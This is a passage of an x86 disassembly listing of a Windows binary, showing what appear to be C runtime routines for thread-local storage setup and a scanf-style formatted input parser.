[ebp+var_14] pop edi pop esi pop ebx leave retn sub_42DC7D endp ; --------------------------------------------------------------------------- off_42E39E dd offset loc_42DE1C ; DATA XREF: sub_42DC7D+6Er dd offset loc_42DCF2 ; jump table for switch statement dd offset loc_42DD0D dd offset loc_42DD59 dd offset loc_42DD90 dd offset loc_42DD98 dd offset loc_42DDCD dd offset loc_42DE60 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E3BE proc near ; CODE XREF: sub_42DC7D+1BDp ; sub_42DC7D+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_42E3D7 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_42E3E2 ; --------------------------------------------------------------------------- loc_42E3D7: ; CODE XREF: sub_42E3BE+9j push ecx push [ebp+arg_0] call sub_42DB65 pop ecx pop ecx loc_42E3E2: ; CODE XREF: sub_42E3BE+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_42E3EF or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_42E3EF: ; CODE XREF: sub_42E3BE+2Aj inc dword ptr [eax] pop ebp retn sub_42E3BE endp ; =============== S U B R O U T I N E ======================================= sub_42E3F3 proc near ; CODE XREF: sub_42DC7D+65Ap ; sub_42DC7D+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_42E421 mov esi, [esp+8+arg_C] loc_42E404: ; CODE XREF: sub_42E3F3+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_42E3BE add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_42E421 mov eax, edi dec edi test eax, eax jg short loc_42E404 loc_42E421: ; CODE XREF: sub_42E3F3+Bj ; sub_42E3F3+25j pop edi pop esi retn sub_42E3F3 endp ; =============== S U B R O U T I N E ======================================= sub_42E424 proc near ; CODE XREF: sub_42DC7D+670p ; sub_42DC7D+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_42E458 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_42E43A: ; CODE XREF: sub_42E424+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_42E3BE add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_42E458 mov eax, ebx dec ebx test eax, eax jg short loc_42E43A loc_42E458: ; CODE XREF: sub_42E424+Cj ; sub_42E424+2Bj pop edi pop esi pop ebx retn sub_42E424 endp ; =============== S U B R O U T I N E ======================================= sub_42E45C proc near ; CODE XREF: sub_42DC7D+E5p ; sub_42DC7D+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_42E45C endp ; =============== S U B R O U T I N E ======================================= sub_42E469 proc near ; CODE XREF: sub_42DC7D+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_42E469 endp ; =============== S U B R O U T I N E ======================================= sub_42E479 proc near ; CODE XREF: sub_42DC7D+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_42E479 endp ; =============== S U B R O U T I N E ======================================= sub_42E487 proc near ; CODE XREF: .text:loc_42C5DFp push esi call sub_42DAC6 call dword_437150 ; TlsAlloc cmp eax, 0FFFFFFFFh mov dword_453240, eax jz short loc_42E4D7 push 74h push 1 call sub_42B39A mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42E4D7 push esi push dword_453240 call dword_43722C ; TlsSetValue test eax, eax jz short loc_42E4D7 push esi call sub_42E4DB pop ecx call dword_437154 ; GetCurrentThreadId or dword ptr [esi+4], 0FFFFFFFFh push 1 mov [esi], eax pop eax pop esi retn ; --------------------------------------------------------------------------- loc_42E4D7: ; CODE XREF: sub_42E487+14j ; sub_42E487+25j ... xor eax, eax pop esi retn sub_42E487 endp ; =============== S U B R O U T I N E ======================================= sub_42E4DB proc near ; CODE XREF: sub_42AB81+16p ; sub_42E487+39p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword ptr [eax+50h], offset dword_453838 mov dword ptr [eax+14h], 1 retn sub_42E4DB endp ; =============== S U B R O U T I N E ======================================= sub_42E4EE proc near ; CODE XREF: sub_429B8Fp sub_429B9Cp ... push esi push edi call dword_437170 ; RtlGetLastWin32Error push dword_453240 mov edi, eax call dword_437208 ; TlsGetValue mov esi, eax test esi, esi jnz short loc_42E549 push 74h push 1 call sub_42B39A mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42E541 push esi push dword_453240 call dword_43722C ; TlsSetValue test eax, eax jz short loc_42E541 push esi call sub_42E4DB pop ecx call dword_437154 ; GetCurrentThreadId or dword ptr [esi+4], 0FFFFFFFFh mov [esi], eax jmp short loc_42E549 ; --------------------------------------------------------------------------- loc_42E541: ; CODE XREF: sub_42E4EE+2Bj ; sub_42E4EE+3Cj push 10h call sub_42C67C pop ecx loc_42E549: ; CODE XREF: sub_42E4EE+1Aj ; sub_42E4EE+51j push edi call dword_43720C ; RtlSetLastWin32Error mov eax, esi pop edi pop esi retn sub_42E4EE endp ; =============== S U B R O U T I N E ======================================= sub_42E555 proc near ; CODE XREF: sub_42AC8B+2Fp arg_0 = dword ptr 4 mov eax, dword_453240 cmp eax, 0FFFFFFFFh jz locret_42E5F4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_42E579 push eax call dword_437208 ; TlsGetValue mov esi, eax test esi, esi jz short loc_42E5E5 loc_42E579: ; CODE XREF: sub_42E555+15j mov eax, [esi+24h] test eax, eax jz short loc_42E587 push eax call sub_4298F2 pop ecx loc_42E587: ; CODE XREF: sub_42E555+29j mov eax, [esi+28h] test eax, eax jz short loc_42E595 push eax call sub_4298F2 pop ecx loc_42E595: ; CODE XREF: sub_42E555+37j mov eax, [esi+30h] test eax, eax jz short loc_42E5A3 push eax call sub_4298F2 pop ecx loc_42E5A3: ; CODE XREF: sub_42E555+45j mov eax, [esi+38h] test eax, eax jz short loc_42E5B1 push eax call sub_4298F2 pop ecx loc_42E5B1: ; CODE XREF: sub_42E555+53j mov eax, [esi+40h] test eax, eax jz short loc_42E5BF push eax call sub_4298F2 pop ecx loc_42E5BF: ; CODE XREF: sub_42E555+61j mov eax, [esi+44h] test eax, eax jz short loc_42E5CD push eax call sub_4298F2 pop ecx loc_42E5CD: ; CODE XREF: sub_42E555+6Fj mov eax, [esi+50h] cmp eax, offset dword_453838 jz short loc_42E5DE push eax call sub_4298F2 pop ecx loc_42E5DE: ; CODE XREF: sub_42E555+80j push esi call sub_4298F2 pop ecx loc_42E5E5: ; CODE XREF: sub_42E555+22j push 0 push dword_453240 call dword_43722C ; TlsSetValue pop esi locret_42E5F4: ; CODE XREF: sub_42E555+8j retn sub_42E555 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E5F5 proc near ; CODE XREF: sub_429E0E+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_42EFFB mov edi, [ebp+arg_0] jmp short loc_42E624 ; --------------------------------------------------------------------------- loc_42E61F: ; CODE XREF: sub_42E5F5+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42E624: ; CODE XREF: sub_42E5F5+28j cmp dword_4535C4, 1 jle short loc_42E63C movzx eax, al push 8 push eax call sub_42F12B pop ecx pop ecx jmp short loc_42E64B ; --------------------------------------------------------------------------- loc_42E63C: ; CODE XREF: sub_42E5F5+36j mov ecx, off_4533B8 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_42E64B: ; CODE XREF: sub_42E5F5+45j cmp eax, ebx jz short loc_42E685 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_42F082 pop ecx pop ecx push eax call sub_42F06B movzx eax, byte ptr [esi+1] inc esi push eax call sub_42C54C add esp, 0Ch loc_42E673: ; CODE XREF: sub_42E5F5+8Ej test eax, eax jz short loc_42E685 movzx eax, byte ptr [esi+1] inc esi push eax call sub_42C54C pop ecx jmp short loc_42E673 ; --------------------------------------------------------------------------- loc_42E685: ; CODE XREF: sub_42E5F5+58j ; sub_42E5F5+80j cmp byte ptr [esi], 25h jnz loc_42EF67 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_42E6BC: ; CODE XREF: sub_42E5F5+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_4535C4, 1 jle short loc_42E6D9 movzx eax, bl push 4 push eax call sub_42F12B pop ecx pop ecx jmp short loc_42E6E8 ; --------------------------------------------------------------------------- loc_42E6D9: ; CODE XREF: sub_42E5F5+D3j mov ecx, off_4533B8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42E6E8: ; CODE XREF: sub_42E5F5+E2j test eax, eax jz short loc_42E6FE mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42E763 ; --------------------------------------------------------------------------- loc_42E6FE: ; CODE XREF: sub_42E5F5+F5j cmp ebx, 4Eh jg short loc_42E741 jz short loc_42E763 cmp ebx, 2Ah jz short loc_42E73C cmp ebx, 46h jz short loc_42E763 cmp ebx, 49h jz short loc_42E71E cmp ebx, 4Ch jnz short loc_42E750 inc [ebp+var_D] jmp short loc_42E763 ; --------------------------------------------------------------------------- loc_42E71E: ; CODE XREF: sub_42E5F5+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42E750 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42E750 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42E763 ; --------------------------------------------------------------------------- loc_42E73C: ; CODE XREF: sub_42E5F5+113j inc [ebp+var_E] jmp short loc_42E763 ; --------------------------------------------------------------------------- loc_42E741: ; CODE XREF: sub_42E5F5+10Cj cmp ebx, 68h jz short loc_42E75D cmp ebx, 6Ch jz short loc_42E755 cmp ebx, 77h jz short loc_42E758 loc_42E750: ; CODE XREF: sub_42E5F5+122j ; sub_42E5F5+12Dj ... inc [ebp+var_F] jmp short loc_42E763 ; --------------------------------------------------------------------------- loc_42E755: ; CODE XREF: sub_42E5F5+154j inc [ebp+var_D] loc_42E758: ; CODE XREF: sub_42E5F5+159j inc [ebp+var_5] jmp short loc_42E763 ; --------------------------------------------------------------------------- loc_42E75D: ; CODE XREF: sub_42E5F5+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42E763: ; CODE XREF: sub_42E5F5+107j ; sub_42E5F5+10Ej ... cmp [ebp+var_F], 0 jz loc_42E6BC cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_42E788 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_42E788: ; CODE XREF: sub_42E5F5+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_42E7A6 mov al, [esi] cmp al, 53h jz short loc_42E7A2 cmp al, 43h jz short loc_42E7A2 or [ebp+var_5], 0FFh jmp short loc_42E7A6 ; --------------------------------------------------------------------------- loc_42E7A2: ; CODE XREF: sub_42E5F5+1A1j ; sub_42E5F5+1A5j mov [ebp+var_5], 1 loc_42E7A6: ; CODE XREF: sub_42E5F5+19Bj ; sub_42E5F5+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_42E7DF cmp esi, 63h jz short loc_42E7D0 cmp esi, 7Bh jz short loc_42E7D0 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_42F082 pop ecx jmp short loc_42E7DB ; --------------------------------------------------------------------------- loc_42E7D0: ; CODE XREF: sub_42E5F5+1C5j ; sub_42E5F5+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_42F051 loc_42E7DB: ; CODE XREF: sub_42E5F5+1D9j pop ecx mov [ebp+var_14], eax loc_42E7DF: ; CODE XREF: sub_42E5F5+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42E7EF cmp [ebp+var_C], eax jz loc_42EFCB loc_42E7EF: ; CODE XREF: sub_42E5F5+1EFj cmp esi, 6Fh jg loc_42EA56 jz loc_42ED08 cmp esi, 63h jz loc_42EA33 cmp esi, 64h jz loc_42ED08 jle loc_42EA80 cmp esi, 67h jle short loc_42E853 cmp esi, 69h jz short loc_42E83B cmp esi, 6Eh jnz loc_42EA80 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_42EF36 jmp loc_42EF5C ; --------------------------------------------------------------------------- loc_42E83B: ; CODE XREF: sub_42E5F5+229j push 64h pop esi loc_42E83E: ; CODE XREF: sub_42E5F5+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_42EAC8 mov [ebp+var_17], 1 jmp loc_42EACD ; --------------------------------------------------------------------------- loc_42E853: ; CODE XREF: sub_42E5F5+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42E86F mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42E874 ; --------------------------------------------------------------------------- loc_42E86F: ; CODE XREF: sub_42E5F5+26Aj cmp ebx, 2Bh jnz short loc_42E88B loc_42E874: ; CODE XREF: sub_42E5F5+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_42F051 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42E88E ; --------------------------------------------------------------------------- loc_42E88B: ; CODE XREF: sub_42E5F5+27Dj mov edi, [ebp+arg_0] loc_42E88E: ; CODE XREF: sub_42E5F5+294j cmp [ebp+var_20], 0 jz short loc_42E89D cmp [ebp+var_C], 15Dh jle short loc_42E8A4 loc_42E89D: ; CODE XREF: sub_42E5F5+29Dj mov [ebp+var_C], 15Dh loc_42E8A4: ; CODE XREF: sub_42E5F5+2A6j ; sub_42E5F5+2F2j cmp dword_4535C4, 1 jle short loc_42E8B9 push 4 push ebx call sub_42F12B pop ecx pop ecx jmp short loc_42E8C4 ; --------------------------------------------------------------------------- loc_42E8B9: ; CODE XREF: sub_42E5F5+2B6j mov eax, off_4533B8 mov al, [eax+ebx*2] and eax, 4 loc_42E8C4: ; CODE XREF: sub_42E5F5+2C2j test eax, eax jz short loc_42E8E9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42E8E9 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42F051 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42E8A4 ; --------------------------------------------------------------------------- loc_42E8E9: ; CODE XREF: sub_42E5F5+2D1j ; sub_42E5F5+2DBj cmp byte_4535C8, bl jnz short loc_42E957 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42E957 inc [ebp+var_4] push edi call sub_42F051 mov ebx, eax mov al, byte_4535C8 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42E912: ; CODE XREF: sub_42E5F5+360j cmp dword_4535C4, 1 jle short loc_42E927 push 4 push ebx call sub_42F12B pop ecx pop ecx jmp short loc_42E932 ; --------------------------------------------------------------------------- loc_42E927: ; CODE XREF: sub_42E5F5+324j mov eax, off_4533B8 mov al, [eax+ebx*2] and eax, 4 loc_42E932: ; CODE XREF: sub_42E5F5+330j test eax, eax jz short loc_42E957 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42E957 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42F051 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42E912 ; --------------------------------------------------------------------------- loc_42E957: ; CODE XREF: sub_42E5F5+2FAj ; sub_42E5F5+304j ... cmp [ebp+var_1C], 0 jz loc_42E9EF cmp ebx, 65h jz short loc_42E96F cmp ebx, 45h jnz loc_42E9EF loc_42E96F: ; CODE XREF: sub_42E5F5+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42E9EF mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_42F051 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_42E996 mov [esi], al inc esi jmp short loc_42E99B ; --------------------------------------------------------------------------- loc_42E996: ; CODE XREF: sub_42E5F5+39Aj cmp ebx, 2Bh jnz short loc_42E9B9 loc_42E99B: ; CODE XREF: sub_42E5F5+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_42E9AA and [ebp+var_C], eax jmp short loc_42E9B9 ; --------------------------------------------------------------------------- loc_42E9AA: ; CODE XREF: sub_42E5F5+3AEj ; sub_42E5F5+3F8j inc [ebp+var_4] push edi call sub_42F051 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_42E9B9: ; CODE XREF: sub_42E5F5+3A4j ; sub_42E5F5+3B3j cmp dword_4535C4, 1 jle short loc_42E9CE push 4 push ebx call sub_42F12B pop ecx pop ecx jmp short loc_42E9D9 ; --------------------------------------------------------------------------- loc_42E9CE: ; CODE XREF: sub_42E5F5+3CBj mov eax, off_4533B8 mov al, [eax+ebx*2] and eax, 4 loc_42E9D9: ; CODE XREF: sub_42E5F5+3D7j test eax, eax jz short loc_42E9EF mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42E9EF inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_42E9AA ; --------------------------------------------------------------------------- loc_42E9EF: ; CODE XREF: sub_42E5F5+366j ; sub_42E5F5+374j ... dec [ebp+var_4] push edi push ebx call sub_42F06B cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_42EFFB cmp [ebp+var_E], 0 jnz loc_42EF5C inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_453824 add esp, 0Ch jmp loc_42EF5C ; --------------------------------------------------------------------------- loc_42EA33: ; CODE XREF: sub_42E5F5+20Cj cmp [ebp+var_20], eax jnz short loc_42EA42 inc [ebp+var_C] mov [ebp+var_20], 1 loc_42EA42: ; CODE XREF: sub_42E5F5+441j cmp [ebp+var_5], 0 jle short loc_42EA4C mov [ebp+var_16], 1 loc_42EA4C: ; CODE XREF: sub_42E5F5+451j mov edi, offset dword_45324C jmp loc_42EB61 ; --------------------------------------------------------------------------- loc_42EA56: ; CODE XREF: sub_42E5F5+1FDj mov eax, esi sub eax, 70h jz loc_42ED04 sub eax, 3 jz loc_42EB52 dec eax dec eax jz loc_42ED08 sub eax, 3 jz loc_42E83E sub eax, 3 jz short loc_42EAA4 loc_42EA80: ; CODE XREF: sub_42E5F5+21Bj ; sub_42E5F5+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_42EFCB dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_42EF5C mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_42EF5C ; --------------------------------------------------------------------------- loc_42EAA4: ; CODE XREF: sub_42E5F5+489j cmp [ebp+var_5], 0 jle short loc_42EAAE mov [ebp+var_16], 1 loc_42EAAE: ; CODE XREF: sub_42E5F5+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_42EB65 mov eax, edi lea edi, [eax+1] jmp loc_42EB61 ; --------------------------------------------------------------------------- loc_42EAC8: ; CODE XREF: sub_42E5F5+24Fj cmp ebx, 2Bh jnz short loc_42EAEF loc_42EACD: ; CODE XREF: sub_42E5F5+259j dec [ebp+var_C] jnz short loc_42EADE cmp [ebp+var_20], 0 jz short loc_42EADE mov [ebp+var_F], 1 jmp short loc_42EAEF ; --------------------------------------------------------------------------- loc_42EADE: ; CODE XREF: sub_42E5F5+4DBj ; sub_42E5F5+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_42F051 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_42EAEF: ; CODE XREF: sub_42E5F5+4D6j ; sub_42E5F5+4E7j cmp ebx, 30h jnz loc_42ED3D push [ebp+arg_0] inc [ebp+var_4] call sub_42F051 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_42EB3D cmp bl, 58h jz short loc_42EB3D cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_42EB27 push 6Fh loc_42EB21: ; CODE XREF: sub_42E5F5+55Bj pop esi jmp loc_42ED3D ; --------------------------------------------------------------------------- loc_42EB27: ; CODE XREF: sub_42E5F5+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_42F06B pop ecx pop ecx push 30h pop ebx jmp loc_42ED3A ; --------------------------------------------------------------------------- loc_42EB3D: ; CODE XREF: sub_42E5F5+517j ; sub_42E5F5+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_42F051 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_42EB21 ; --------------------------------------------------------------------------- loc_42EB52: ; CODE XREF: sub_42E5F5+46Fj cmp [ebp+var_5], 0 jle short loc_42EB5C mov [ebp+var_16], 1 loc_42EB5C: ; CODE XREF: sub_42E5F5+561j mov edi, offset dword_453244 loc_42EB61: ; CODE XREF: sub_42E5F5+45Cj ; sub_42E5F5+4CEj or [ebp+var_18], 0FFh loc_42EB65: ; CODE XREF: sub_42E5F5+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_429760 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_42EB89 cmp byte ptr [edi], 5Dh jnz short loc_42EB89 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_42EB8C ; --------------------------------------------------------------------------- loc_42EB89: ; CODE XREF: sub_42E5F5+584j ; sub_42E5F5+589j mov dl, [ebp+var_35] loc_42EB8C: ; CODE XREF: sub_42E5F5+592j ; sub_42E5F5+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_42EBF1 inc edi cmp al, 2Dh jnz short loc_42EBD8 test dl, dl jz short loc_42EBD8 mov cl, [edi] cmp cl, 5Dh jz short loc_42EBD8 inc edi cmp dl, cl jnb short loc_42EBAB mov al, cl jmp short loc_42EBAF ; --------------------------------------------------------------------------- loc_42EBAB: ; CODE XREF: sub_42E5F5+5B0j mov al, dl mov dl, cl loc_42EBAF: ; CODE XREF: sub_42E5F5+5B4j cmp dl, al ja short loc_42EBD4 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_42EBBC: ; CODE XREF: sub_42E5F5+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_42EBBC loc_42EBD4: ; CODE XREF: sub_42E5F5+5BCj xor dl, dl jmp short loc_42EB8C ; --------------------------------------------------------------------------- loc_42EBD8: ; CODE XREF: sub_42E5F5+5A0j ; sub_42E5F5+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_42EB8C ; --------------------------------------------------------------------------- loc_42EBF1: ; CODE XREF: sub_42E5F5+59Bj cmp byte ptr [edi], 0 jz loc_42EFFB cmp [ebp+var_3C], 7Bh jnz short loc_42EC03 mov [ebp+arg_4], edi loc_42EC03: ; CODE XREF: sub_42E5F5+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_42F06B pop ecx pop ecx loc_42EC1A: ; CODE XREF: sub_42E5F5+6BCj ; sub_42E5F5+6C4j cmp [ebp+var_20], 0 jz short loc_42EC2E mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_42ECCA loc_42EC2E: ; CODE XREF: sub_42E5F5+629j inc [ebp+var_4] push edi call sub_42F051 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_42ECBE mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_42ECBE cmp [ebp+var_E], 0 jnz short loc_42ECB6 cmp [ebp+var_16], 0 jz short loc_42ECAB mov ecx, off_4533B8 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_42EC8A inc [ebp+var_4] push edi call sub_42F051 pop ecx mov [ebp+var_37], al loc_42EC8A: ; CODE XREF: sub_42E5F5+686j push dword_4535C4 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_433322 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_42ECAE ; --------------------------------------------------------------------------- loc_42ECAB: ; CODE XREF: sub_42E5F5+673j mov [esi], al inc esi loc_42ECAE: ; CODE XREF: sub_42E5F5+6B4j mov [ebp+var_2C], esi jmp loc_42EC1A ; --------------------------------------------------------------------------- loc_42ECB6: ; CODE XREF: sub_42E5F5+66Dj inc [ebp+var_30] jmp loc_42EC1A ; --------------------------------------------------------------------------- loc_42ECBE: ; CODE XREF: sub_42E5F5+649j ; sub_42E5F5+667j dec [ebp+var_4] push edi push eax call sub_42F06B pop ecx pop ecx loc_42ECCA: ; CODE XREF: sub_42E5F5+633j cmp [ebp+var_30], esi jz loc_42EFFB cmp [ebp+var_E], 0 jnz loc_42EF5C inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_42EF5C cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_42ECFC and word ptr [eax], 0 jmp loc_42EF5C ; --------------------------------------------------------------------------- loc_42ECFC: ; CODE XREF: sub_42E5F5+6FCj and byte ptr [eax], 0 jmp loc_42EF5C ; --------------------------------------------------------------------------- loc_42ED04: ; CODE XREF: sub_42E5F5+466j mov [ebp+var_D], 1 loc_42ED08: ; CODE XREF: sub_42E5F5+203j ; sub_42E5F5+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_42ED16 mov [ebp+var_17], 1 jmp short loc_42ED1B ; --------------------------------------------------------------------------- loc_42ED16: ; CODE XREF: sub_42E5F5+719j cmp ebx, 2Bh jnz short loc_42ED3D loc_42ED1B: ; CODE XREF: sub_42E5F5+71Fj dec [ebp+var_C] jnz short loc_42ED2C cmp [ebp+var_20], 0 jz short loc_42ED2C mov [ebp+var_F], 1 jmp short loc_42ED3D ; --------------------------------------------------------------------------- loc_42ED2C: ; CODE XREF: sub_42E5F5+729j ; sub_42E5F5+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_42F051 pop ecx mov ebx, eax loc_42ED3A: ; CODE XREF: sub_42E5F5+543j mov [ebp+var_14], ebx loc_42ED3D: ; CODE XREF: sub_42E5F5+4FDj ; sub_42E5F5+52Dj ... cmp [ebp+var_30], 0 jz loc_42EE56 cmp [ebp+var_F], 0 jnz loc_42EE34 loc_42ED51: ; CODE XREF: sub_42E5F5+82Cj cmp esi, 78h jnz short loc_42EDA5 cmp dword_4535C4, 1 jle short loc_42ED6E push 80h push ebx call sub_42F12B pop ecx pop ecx jmp short loc_42ED7B ; --------------------------------------------------------------------------- loc_42ED6E: ; CODE XREF: sub_42E5F5+768j mov eax, off_4533B8 mov al, [eax+ebx*2] and eax, 80h loc_42ED7B: ; CODE XREF: sub_42E5F5+777j test eax, eax jz loc_42EE26 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_433450 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_42F01A mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42EDF8 ; --------------------------------------------------------------------------- loc_42EDA5: ; CODE XREF: sub_42E5F5+75Fj cmp dword_4535C4, 1 jle short loc_42EDBA push 4 push ebx call sub_42F12B 